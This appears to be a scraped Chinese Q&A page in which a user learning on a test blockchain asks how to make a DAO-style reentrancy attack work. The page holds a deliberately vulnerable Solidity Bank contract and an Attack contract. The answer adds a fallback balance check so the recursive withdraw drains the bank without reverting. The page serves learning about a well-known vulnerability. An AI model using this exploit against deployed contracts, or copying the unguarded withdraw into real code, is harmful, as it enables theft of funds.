Ethereum 以太坊如何执行DAO攻击?
我正在学习对我的测试区块链执行DAO攻击。但是,我不知道如何避免耗尽气体,因此事务总是被还原 合同如下:Ethereum 以太坊如何执行DAO攻击?,ethereum,solidity,Ethereum,Solidity,我正在学习对我的测试区块链执行DAO攻击。但是,我不知道如何避免耗尽气体,因此事务总是被还原 合同如下: pragma solidity ^0.5.0; contract Bank{ // put money to the bank function deposit(){} function withdraw() public { msg.sender.call.value(10 ether)(""); } } contract Attack{
pragma solidity ^0.5.0;
contract Bank{
// put money to the bank
function deposit(){}
function withdraw() public {
msg.sender.call.value(10 ether)("");
}
}
contract Attack{
// setter is omitted
Bank public bank;
function () external payable {
attack();
}
function attack() public {
bank.withdraw();
}
}
我使用的是Solidity 0.5.0,要求我只能修改攻击主体的回退函数,有人能告诉我如何解决这个问题吗?这与任何其他递归函数一样-你需要创建一个停止条件,以阻止递归永远继续下去(或因本案ETH余额不足而未能执行)
假设您的
银行
合同有20个ETH。第一次执行发送10个ETH,第二次执行发送10个ETH,但第三次执行失败,因为它无法再发送10个ETH(它没有)
您可以通过更新Attack
回退函数来修复它,该函数将检查Bank
是否仍有10个ETH要发送。如果没有,则不会执行Attack()
,并有效地停止递归
function () external payable {
if (address(bank).balance >= 10 ether) {
attack();
}
}